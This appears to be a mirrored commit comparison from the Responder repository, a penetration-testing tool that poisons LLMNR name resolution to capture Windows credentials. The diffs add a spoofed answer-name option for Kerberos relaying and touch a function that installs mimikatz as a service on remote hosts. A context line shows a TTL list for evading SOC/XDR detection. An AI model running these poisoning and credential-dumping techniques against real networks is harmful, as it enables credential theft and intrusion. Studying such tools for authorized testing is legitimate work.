mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 04:31:30 +00:00
Compare commits
4 Commits
e34fa882ea
...
eb0f3ccaac
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
eb0f3ccaac | ||
|
|
d740fb526f | ||
|
|
d3dd37a324 | ||
|
|
d273a881b2 |
15
README.md
15
README.md
@@ -157,15 +157,24 @@ Options:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. Default: False
|
||||
ON. This option is highly effective. Default: False
|
||||
-Q, --quiet Tell Responder to be quiet, disables a bunch of
|
||||
printing from the poisoners. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
|
||||
Value in hex (30 seconds = 1e). use '-t random' for
|
||||
random TTL
|
||||
-N ANSWERNAME, --AnswerName=ANSWERNAME
|
||||
Specifies the canonical name returned by the LLMNR
|
||||
poisoner in tits Answer section. By default, the
|
||||
answer's canonical name is the same as the query.
|
||||
Changing this value is mainly useful when attempting
|
||||
to perform Kebreros relaying over HTTP.
|
||||
|
||||
|
||||
|
||||
|
||||
## Donation ##
|
||||
|
||||
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
|
||||
|
||||
@@ -46,6 +46,7 @@ parser.add_option('--lm', action="store_true", help="Force LM h
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
|
||||
@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
try:
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||
if settings.Config.AnswerName is None:
|
||||
AnswerName = Name
|
||||
else:
|
||||
AnswerName = settings.Config.AnswerName
|
||||
LLMNRType = Parse_IPV6_Addr(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
@@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
elif LLMNRType == True: # Poisoning Mode
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
@@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
elif LLMNRType == 'IPv6' and Have_IPv6:
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR6',
|
||||
'SentToIp': self.client_address[0],
|
||||
|
||||
@@ -172,6 +172,7 @@ class Settings:
|
||||
self.DHCP_DNS = options.DHCP_DNS
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
|
||||
@@ -1954,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
|
||||
RandomFName = GenerateRandomFileName()
|
||||
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
||||
#Install mimikatz as a service.
|
||||
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
|
||||
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
|
||||
MimiKatzSVCName = GenerateServiceName()
|
||||
MimiKatzSVCID = GenerateServiceID()
|
||||
data,s = SMBOpenPipe(Host, data, s)
|
||||
|
||||
@@ -29,9 +29,9 @@ from impacket.smbconnection import SMBConnection
|
||||
|
||||
class DCERPCStringBinding:
|
||||
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
|
||||
+'([_a-zA-Z0-9]*):' # Protocol Sequence
|
||||
+'([^\[]*)' # Network Address (opt.)
|
||||
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
|
||||
+r'([_a-zA-Z0-9]*):' # Protocol Sequence
|
||||
+r'([^\[]*)' # Network Address (opt.)
|
||||
+r'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
|
||||
|
||||
def __init__(self, stringbinding):
|
||||
match = DCERPCStringBinding.parser.match(stringbinding)
|
||||
|
||||
@@ -194,7 +194,7 @@ ERROR_MESSAGES = {
|
||||
0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
|
||||
0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
|
||||
0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
|
||||
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
|
||||
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
|
||||
0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
|
||||
0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
|
||||
0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
|
||||
@@ -282,7 +282,7 @@ ERROR_MESSAGES = {
|
||||
0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
|
||||
0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
|
||||
0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
|
||||
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
|
||||
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
|
||||
0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
|
||||
0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
|
||||
0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
|
||||
|
||||
@@ -38,7 +38,7 @@ def string_to_bin(uuid):
|
||||
|
||||
# If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
|
||||
# The first three components of the UUID are little-endian, and the last two are big-endian
|
||||
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
|
||||
matches = re.match(r'([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
|
||||
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
|
||||
uuid = pack('<LHH', uuid1, uuid2, uuid3)
|
||||
uuid += pack('>HHL', uuid4, uuid5, uuid6)
|
||||
@@ -68,7 +68,7 @@ def bin_to_uuidtup(bin):
|
||||
# "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
# "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
|
||||
def string_to_uuidtup(s):
|
||||
g = re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
|
||||
g = re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
|
||||
if g:
|
||||
(u,v) = g.groups()
|
||||
return (u,v)
|
||||
|
||||
Reference in New Issue
Block a user